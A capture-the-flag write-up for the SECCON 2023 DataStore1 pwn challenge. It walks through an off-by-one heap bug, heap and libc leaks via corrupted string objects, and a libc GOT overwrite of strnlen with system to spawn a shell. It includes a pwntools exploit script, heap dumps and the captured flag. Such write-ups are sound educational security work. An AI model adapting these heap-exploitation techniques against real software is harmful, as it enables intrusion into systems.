SECCON CTF 2023 Quals - DataStore1

nc datastore1.seccon.games 4585

Team: HK Guesser

Attachment: DataStore1.tar.gz xpl.py

MENU
1. Edit
2. List
0. Exit
> 1

Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4

MENU
1. Edit
2. List
0. Exit
> 2

List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY>

MENU
1. Edit
2. List
0. Exit
>

DataStore1 lets us create a hierarchic data structure, which could consist of arrays, strings, ints and floats on different levels (which made scripting this a pain first).

typedef enum {
	TYPE_EMPTY = 0,
	TYPE_ARRAY = 0xfeed0001,
	TYPE_STRING,
	TYPE_UINT,
	TYPE_FLOAT,
} type_t;

typedef struct {
	type_t type;

	union {
		struct Array *p_arr;
		struct String *p_str;
		uint64_t v_uint;
		double v_float;
	};
} data_t;

typedef struct Array {
	size_t count;
	data_t data[];
} arr_t;

typedef struct String {
	size_t size;
	char *content;
} str_t;

So on every level in data_t, we can have a different data type (which is stored at the same address, since it uses union). Depending on type, the type will be interpreted differently.

The bug for this challenge is in the edit function

printf("index: ");
unsigned idx = getint();
if(idx > arr->count)
    return -1;

In the boundary check we have an off-by-one, since it checks that idx is not bigger than arr->count (though it should check for greater or equal). This allows us to update/delete one data_t object “behind” the current type, overwriting followup data on the heap.

As an example, if we have another array stored behind the current data_t object, this would allow us to overwrite count of that, corrupting the size of the following array.

We just have to be careful while corrupting other data types, since the binary will often call show on our data types, and if it encounters an unknown data type, it will abort.

For the start, we’d need a leak to the heap to be able to create useful objects.

  • Create one initial array with size 1
  • Create four sub arrays
  • Use the oob access on the second sub array to delete the fourth entry (which points to the count of the third sub array)
  • Create another array type in the fourth entry of the second sub array (which will create a pointer to the array type in the count of the third sub array)

Sounds confusing? Well, it was in the beginning :)

def exploit(r):
    r.recvuntil("> ")

    # create initial array
    log.info("Create initial array")

    r.sendline("1")
    r.sendlineafter("> ", "a")
    r.sendlineafter(": ", "1")
    r.recvuntil("> ")

    log.info("Create sub arrays")
    createarray([0], 4)
    createarray([0, 0], 4)
    createarray([0, 1], 4)
    createarray([0, 2], 4)
    createarray([0, 3], 4)

    log.info("Overwrite array size with another array")
    delete([0, 1], 4)
    createarray([0, 1, 4], 10)

Let’s see, how this looks like on the heap.

Create initial array

0x555555559290:	0x0000000000000000	0x0000000000000021 
0x5555555592a0:	0x00000000feed0001	0x00005555555592c0 <= type / array ptr
0x5555555592b0:	0x0000000000000000	0x0000000000000021
0x5555555592c0:	0x0000000000000001	0x0000000000000000 <= initial array: count
0x5555555592d0:	0x0000000000000000	0x0000000000020d31

Create sub arrays

0x555555559290:	0x0000000000000000	0x0000000000000021
0x5555555592a0:	0x00000000feed0001	0x00005555555592c0 <= type / array ptr
0x5555555592b0:	0x0000000000000000	0x0000000000000021
0x5555555592c0:	0x0000000000000001	0x00000000feed0001 <= initial array: count / type
0x5555555592d0:	0x00005555555592e0	0x0000000000000051 <= array ptr
0x5555555592e0:	0x0000000000000004	0x00000000feed0001 <= sub array (0)
0x5555555592f0:	0x0000555555559330	0x00000000feed0001
0x555555559300:	0x0000555555559380	0x00000000feed0001
0x555555559310:	0x00005555555593d0	0x00000000feed0001
0x555555559320:	0x0000555555559420	0x0000000000000051
0x555555559330:	0x0000000000000004	0x0000000000000000 <= sub array (0/0)
0x555555559340:	0x0000000000000000	0x0000000000000000
0x555555559350:	0x0000000000000000	0x0000000000000000
0x555555559360:	0x0000000000000000	0x0000000000000000
0x555555559370:	0x0000000000000000	0x0000000000000051
0x555555559380:	0x0000000000000004	0x0000000000000000 <= sub array (0/1)
0x555555559390:	0x0000000000000000	0x0000000000000000
0x5555555593a0:	0x0000000000000000	0x0000000000000000
0x5555555593b0:	0x0000000000000000	0x0000000000000000
0x5555555593c0:	0x0000000000000000	0x0000000000000051
0x5555555593d0:	0x0000000000000004	0x0000000000000000 <= sub array (0/2)
0x5555555593e0:	0x0000000000000000	0x0000000000000000
0x5555555593f0:	0x0000000000000000	0x0000000000000000
0x555555559400:	0x0000000000000000	0x0000000000000000
0x555555559410:	0x0000000000000000	0x0000000000000051
0x555555559420:	0x0000000000000004	0x0000000000000000 <= sub array (0/3)
0x555555559430:	0x0000000000000000	0x0000000000000000
0x555555559440:	0x0000000000000000	0x0000000000000000
0x555555559450:	0x0000000000000000	0x0000000000000000
0x555555559460:	0x0000000000000000	0x0000000000020ba1

Deleting element (0/1/4)

0x555555559290:	0x0000000000000000	0x0000000000000021
0x5555555592a0:	0x00000000feed0001	0x00005555555592c0
0x5555555592b0:	0x0000000000000000	0x0000000000000021
0x5555555592c0:	0x0000000000000001	0x00000000feed0001
0x5555555592d0:	0x00005555555592e0	0x0000000000000051
0x5555555592e0:	0x0000000000000004	0x00000000feed0001
0x5555555592f0:	0x0000555555559330	0x00000000feed0001
0x555555559300:	0x0000555555559380	0x00000000feed0001
0x555555559310:	0x00005555555593d0	0x00000000feed0001
0x555555559320:	0x0000555555559420	0x0000000000000051
0x555555559330:	0x0000000000000004	0x0000000000000000 <= sub array (0/0)
0x555555559340:	0x0000000000000000	0x0000000000000000
0x555555559350:	0x0000000000000000	0x0000000000000000
0x555555559360:	0x0000000000000000	0x0000000000000000
0x555555559370:	0x0000000000000000	0x0000000000000051
0x555555559380:	0x0000000000000004	0x0000000000000000 <= sub array (0/1)
0x555555559390:	0x0000000000000000	0x0000000000000000
0x5555555593a0:	0x0000000000000000	0x0000000000000000
0x5555555593b0:	0x0000000000000000	0x0000000000000000
0x5555555593c0:	0x0000000000000000	0x0000000000000000
0x5555555593d0:	0x0000000000000004	0x0000000000000000 <= sub array (0/2)
0x5555555593e0:	0x0000000000000000	0x0000000000000000
0x5555555593f0:	0x0000000000000000	0x0000000000000000
0x555555559400:	0x0000000000000000	0x0000000000000000
0x555555559410:	0x0000000000000000	0x0000000000000051
0x555555559420:	0x0000000000000004	0x0000000000000000 <= sub array (0/3)
0x555555559430:	0x0000000000000000	0x0000000000000000
0x555555559440:	0x0000000000000000	0x0000000000000000
0x555555559450:	0x0000000000000000	0x0000000000000000
0x555555559460:	0x0000000000000000	0x0000000000020ba1

Note, how the chunk size of the second sub array is now zeroed out. This allows us to now do an update on this element (otherwise show would have aborted, since 0x21 would have counted as an unknown data type)

Update element (0/1/4) with an array type

0x555555559290:	0x0000000000000000	0x0000000000000021
0x5555555592a0:	0x00000000feed0001	0x00005555555592c0
0x5555555592b0:	0x0000000000000000	0x0000000000000021
0x5555555592c0:	0x0000000000000001	0x00000000feed0001
0x5555555592d0:	0x00005555555592e0	0x0000000000000051
0x5555555592e0:	0x0000000000000004	0x00000000feed0001
0x5555555592f0:	0x0000555555559330	0x00000000feed0001
0x555555559300:	0x0000555555559380	0x00000000feed0001
0x555555559310:	0x00005555555593d0	0x00000000feed0001
0x555555559320:	0x0000555555559420	0x0000000000000051
0x555555559330:	0x0000000000000004	0x0000000000000000 <= sub array (0/0)
0x555555559340:	0x0000000000000000	0x0000000000000000
0x555555559350:	0x0000000000000000	0x0000000000000000
0x555555559360:	0x0000000000000000	0x0000000000000000
0x555555559370:	0x0000000000000000	0x0000000000000051
0x555555559380:	0x0000000000000004	0x0000000000000000 <= sub array (0/1)
0x555555559390:	0x0000000000000000	0x0000000000000000
0x5555555593a0:	0x0000000000000000	0x0000000000000000
0x5555555593b0:	0x0000000000000000	0x0000000000000000
0x5555555593c0:	0x0000000000000000	0x00000000feed0001
0x5555555593d0:	0x0000555555559470	0x0000000000000000 <= sub array (0/2) (count == array ptr)
0x5555555593e0:	0x0000000000000000	0x0000000000000000
0x5555555593f0:	0x0000000000000000	0x0000000000000000
0x555555559400:	0x0000000000000000	0x0000000000000000
0x555555559410:	0x0000000000000000	0x0000000000000051
0x555555559420:	0x0000000000000004	0x0000000000000000 <= sub array (0/3)
0x555555559430:	0x0000000000000000	0x0000000000000000
0x555555559440:	0x0000000000000000	0x0000000000000000
0x555555559450:	0x0000000000000000	0x0000000000000000
0x555555559460:	0x0000000000000000	0x00000000000000b1

Creating an array type in the fourth element of the second sub array now put the pointer to the array in the count property of the third sub array. We can use this to leak the heap address by doing an edit, while NOT editing the third sub array itself (which would again lead to an abort).

Since we have created an array above that, we can go into edit mode, which will show us the sizes of the sub array (and the size of the third array now happens to be 0x0000555555559470)

[47971]
[*] Create initial array
[*] Create sub arrays
[*] Overwrite array size with another array
[*] Switching to interactive mode
$ 1

Current: <ARRAY(1)>
[00] <ARRAY(4)>
index: $ 0

1. Update
2. Delete
> $ 1

Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(93824992253040)>
[03] <ARRAY(4)>
index: $

We can read the array size here and then just edit another value to get out of edit mode again.

log.info("Leak heap address from array size")
r.sendline("1")
r.sendlineafter(": ", "0")
r.sendlineafter("> ", "1")
r.recvuntil("[02] <ARRAY(")
LEAK = int(r.recvuntil(")", drop=True))
r.sendlineafter("index: ", "0")
r.sendlineafter("> ", "1")
r.sendlineafter("index: ", "0")
r.sendlineafter("> ", "1")
r.sendlineafter("> ", "v")
r.sendlineafter(": ", str(100))
r.recvuntil("> ")

HEAPBASE = LEAK - 0x470

log.info("HEAP leak     : %s" % hex(LEAK))    
log.info("HEAP base     : %s" % hex(HEAPBASE))

With a heap leak, we can now start creating data types, which gives us a bit more control, where to read and write from. String objects are perfect for this.

typedef struct String {
	size_t size;
	char *content;
} str_t;

They contain a size, which controls, how much can be read or written to them and a pointer, where we can read/write. Controlling such a datatype would give us an arbitrary read/write primitive.

Let’s start putting some string objects on the heap

log.info("Create strings on heap")
updatevalue([0, 1, 1], "A"*8)
updatevalue([0, 1, 2], "A"*8)
updatevalue([0, 1, 3], "A"*8)
0x555555559460:	0x0000000000000000	0x00000000000000b1
0x555555559470:	0x000000000000000a	0x0000000000000000 <= sub array (0/1/4)
0x555555559480:	0x0000000000000000	0x0000000000000000
0x555555559490:	0x0000000000000000	0x0000000000000000
0x5555555594a0:	0x0000000000000000	0x0000000000000000
0x5555555594b0:	0x0000000000000000	0x0000000000000000
0x5555555594c0:	0x0000000000000000	0x0000000000000000
0x5555555594d0:	0x0000000000000000	0x0000000000000000
0x5555555594e0:	0x0000000000000000	0x0000000000000000
0x5555555594f0:	0x0000000000000000	0x0000000000000000
0x555555559500:	0x0000000000000000	0x0000000000000000
0x555555559510:	0x0000000000000000	0x0000000000000021
0x555555559520:	0x0000000000000008	0x0000555555559590 <= size / content ptr (1)
0x555555559530:	0x0000000000000000	0x0000000000000051
0x555555559540:	0x0000000555555559	0x914996d08fbb6b99
0x555555559550:	0x0000000000000000	0x0000000000000000
0x555555559560:	0x0000000000000000	0x0000000000000000
0x555555559570:	0x0000000000000000	0x0000000000000000
0x555555559580:	0x0000000000000000	0x0000000000000021
0x555555559590:	0x4141414141414141	0x0000000000000000 <= string content (1)
0x5555555595a0:	0x0000000000000000	0x0000000000000051
0x5555555595b0:	0x000055500000c019	0x914996d08fbb6b99
0x5555555595c0:	0x0000000000000000	0x0000000000000000
0x5555555595d0:	0x0000000000000000	0x0000000000000000
0x5555555595e0:	0x0000000000000000	0x0000000000000000
0x5555555595f0:	0x0000000000000000	0x0000000000000021
0x555555559600:	0x4141414141414141	0x0000000000000000 <= string content (2)
0x555555559610:	0x0000000000000000	0x0000000000000051
0x555555559620:	0x000055500000c0e9	0x914996d08fbb6b99
0x555555559630:	0x0000000000000000	0x0000000000000000
0x555555559640:	0x0000000000000000	0x0000000000000000
0x555555559650:	0x0000000000000000	0x0000000000000000
0x555555559660:	0x0000000000000000	0x0000000000000021
0x555555559670:	0x0000000000000008	0x0000555555559600 <= size / content ptr (2)
0x555555559680:	0x0000000000000000	0x0000000000000021
0x555555559690:	0x4141414141414141	0x0000000000000000 <= string content (3)
0x5555555596a0:	0x0000000000000000	0x0000000000000051
0x5555555596b0:	0x000055500000c379	0x914996d08fbb6b99
0x5555555596c0:	0x0000000000000000	0x0000000000000000
0x5555555596d0:	0x0000000000000000	0x0000000000000000
0x5555555596e0:	0x0000000000000000	0x0000000000000000
0x5555555596f0:	0x0000000000000000	0x0000000000000021
0x555555559700:	0x0000000000000008	0x0000555555559690 <= size / content ptr (3)
0x555555559710:	0x0000000000000000	0x00000000000208f1

So, now we have some strings located behind the subarray (0/1/4), which has a size of 10.

We still have no libc address on the heap though. For this we’d need to free a bigger chunk to put it in unsorted bin. So, before doing something with those string objects, let’s just fill up the heap to move top pointer down, making it easier to put a fake chunk somewhere.

log.info("Fillup heap")
createarray([0, 3, 0], 10)
createarray([0, 3, 1], 10)
createarray([0, 3, 2], 10)
createarray([0, 3, 3], 10)
createarray([0, 3, 0, 0], 10)
createarray([0, 3, 0, 1], 10)
createarray([0, 3, 0, 2], 10)

We’ll now have some more chunks below the string objects, so that we can create a bigger fake chunk, point a string to it, free it, to pull a main_arena pointer in the heap, and then overwrite a string again to point to it, to leak it.

# delete 10th element to avoid unknown datatype
delete([0, 1, 4], 10)

# overwrite string length
updatevalue([0, 1, 4, 10], "1000")

First we delete the 10th element of the sub arry 0/1/4. By doing this, we can edit it, without show aborting because of an unknown datatype (The 10th element of 0/1/4 is where the str_t for the first string is located).

Then we can update the 10th element of sub array 0/1/4 with 1000, which will overwrite the size of the first string pointer to 1000, enabling us to overwrite anything behind it.

Memory layout after those steps:

0x555555559410:	0x0000000000000000	0x0000000000000051
0x555555559420:	0x0000000000000004	0x00000000feed0001 <= sub array 0/3
0x555555559430:	0x0000555555559720	0x00000000feed0001
0x555555559440:	0x00005555555597d0	0x00000000feed0001
0x555555559450:	0x0000555555559880	0x00000000feed0001
0x555555559460:	0x0000555555559930	0x00000000000000b1
0x555555559470:	0x000000000000000a	0x0000000000000000 <= sub array 0/1/4
0x555555559480:	0x0000000000000000	0x0000000000000000
0x555555559490:	0x0000000000000000	0x0000000000000000
0x5555555594a0:	0x0000000000000000	0x0000000000000000
0x5555555594b0:	0x0000000000000000	0x0000000000000000
0x5555555594c0:	0x0000000000000000	0x0000000000000000
0x5555555594d0:	0x0000000000000000	0x0000000000000000
0x5555555594e0:	0x0000000000000000	0x0000000000000000
0x5555555594f0:	0x0000000000000000	0x0000000000000000
0x555555559500:	0x0000000000000000	0x0000000000000000
0x555555559510:	0x0000000000000000	0x00000000feed0003
0x555555559520:	0x00000000000003e8	0x0000555555559590 <= count / ptr of first string
0x555555559530:	0x0000000000000000	0x0000000000000051
0x555555559540:	0x0000000555555559	0x65e7b9b32841f470
0x555555559550:	0x0000000000000000	0x0000000000000000
0x555555559560:	0x0000000000000000	0x0000000000000000
0x555555559570:	0x0000000000000000	0x0000000000000000
0x555555559580:	0x0000000000000000	0x0000000000000021
0x555555559590:	0x4141414141414141	0x0000000000000000 <= first string pointing here
0x5555555595a0:	0x0000000000000000	0x0000000000000051
0x5555555595b0:	0x000055500000c019	0x65e7b9b32841f470
0x5555555595c0:	0x0000000000000000	0x0000000000000000
0x5555555595d0:	0x0000000000000000	0x0000000000000000

With a size of 1000 we can now update the string overwriting everything behind it. We’ll be using this to corrupt another string to point to a 0x560 chunk, free it and then leak it.

log.info("Corrupting string pointer")
payload = p64(0x4141414141414141)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000051)
payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000021)
payload += p64(0x4141414141414141)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000051)
payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000021)
payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x680)      # pointer to fake chunk
payload += p64(0x0000000000000000)+p64(0x0000000000000561)  # fake size 0x560
payload += p64(0x4141414141414141)+p64(0x0000000000000000)  # fake chunk
payload += p64(0x0000000000000000)+p64(0x0000000000000051)

updatestring([0, 1, 1], payload)
delete([0, 1], 3)
0x555555559660:	0x0000000000000000	0x0000000000000021
0x555555559670:	0x00000000000003e8	0x0000555555559680
0x555555559680:	0x0000000000000000	0x0000000000000561
0x555555559690:	0x00007ffff7facce0	0x00007ffff7facce0 <= freed fake chunk
0x5555555596a0:	0x0000000000000000	0x0000000000000000
0x5555555596b0:	0x000055500000c300	0x9c9b8239fefaf274
0x5555555596c0:	0x0000000000000000	0x0000000000000000
0x5555555596d0:	0x0000000000000000	0x0000000000000000
0x5555555596e0:	0x0000000000000000	0x0000000000000000
0x5555555596f0:	0x0000000000000000	0x0000000000000021
0x555555559700:	0x000055500000cea9	0x9c9b8239fefaf274

Having a main_arena pointer on the heap, let’s overwrite that string again to point to the leak, so we can read it.

log.info("Update string pointer again")
payload = "/bin/sh\x00"+p64(0x0000000000000000)            
payload += p64(0x0000000000000000)+p64(0x0000000000000051)
payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000021)
payload += p64(0x4141414141414141)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000051)
payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000021)
payload += p64(0x00000000000003e8)+p64(HEAPBASE+0x690)     <= string pointer pointing to main_arena

updatestring([0, 1, 1], payload)

log.info("Get libc leak")
r.sendline("1")
r.sendlineafter("index: ", "0")
r.sendlineafter("> ", "1")
r.sendlineafter("index: ", "1")
r.sendlineafter("> ", "1")

r.recvuntil("[02] <S> ")
LIBCLEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
r.sendlineafter(": ", "0")
r.sendlineafter("> ", "2")
r.recvuntil("> ")

log.info("LIBC leak     : %s" % hex(LIBCLEAK))
libc.address = LIBCLEAK - 0x219ce0
log.info("LIBC          : %s" % hex(libc.address))

Now we’re able to access libc, so let’s change the string pointer once again to point it into abs.got area of libc and overwrite strnlen.got with system.

payload = "/bin/sh\x00"+p64(0x0000000000000000)                  <= first string content
payload += p64(0x0000000000000000)+p64(0x0000000000000051)
payload += p64(0x000055500000c019)+p64(0x35c09eb735c664b5)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000021)
payload += p64(0x4141414141414141)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000051)
payload += p64(0x000055500000c0e9)+p64(0x35c09eb735c664b5)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000021)
payload += p64(0x00000000000003e8)+p64(libc.address + 0x219018)  <= point to abs.got

updatestring([0, 1, 1], payload)
updatestring([0, 1, 2], p64(libc.symbols["system"]))

Also note, that I’ve put /bin/sh into our first string pointer content. When showing the list of strings again, this will make the binary calling strnlen(string) and since we overwrote abs.got for strnlen with system, it will call system("/bin/sh")

# trigger shell
r.sendline("1")
r.sendlineafter(": ", "0")
r.sendlineafter("> ", "1")
r.sendlineafter(": ", "1")
r.sendlineafter("> ", "1")

Though the challenge itself was quite fun in hindsight, putting a 30 second timeout on the remote system wasn’t really a nice move for people outside of Japan :(

Had to spin up an aws instance in Tokyo to be able to execute the exploit fast enough on remote, but that landed the shell finally.

[*] '/home/ubuntu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to datastore1.seccon.games on port 4585: Done
[*] Create initial array
[*] Create sub arrays
[*] Overwrite array size
[*] Create array and leak heap address from it
[*] HEAP leak     : 0x556da5a40470
[*] HEAP base     : 0x556da5a40000
[*] Create strings on heap
[*] Overwrite string pointer
[*] Fillup heap
[*] Update string ptr again
[*] Update string ptr 3
[*] Get libc leak
[*] LIBC leak     : 0x7ff709979ce0
[*] LIBC          : 0x7ff709760000
[*] Switching to interactive mode

Current: <ARRAY(4)>
[00] <EMPTY>
[01] $ ls
chall
flag-02cf8c730391ace954cb5255d37e5c8b.txt
run.sh
$ cat flag-02cf8c730391ace954cb5255d37e5c8b.txt
SECCON{'un10n'_15_4_m4g1c_b0x}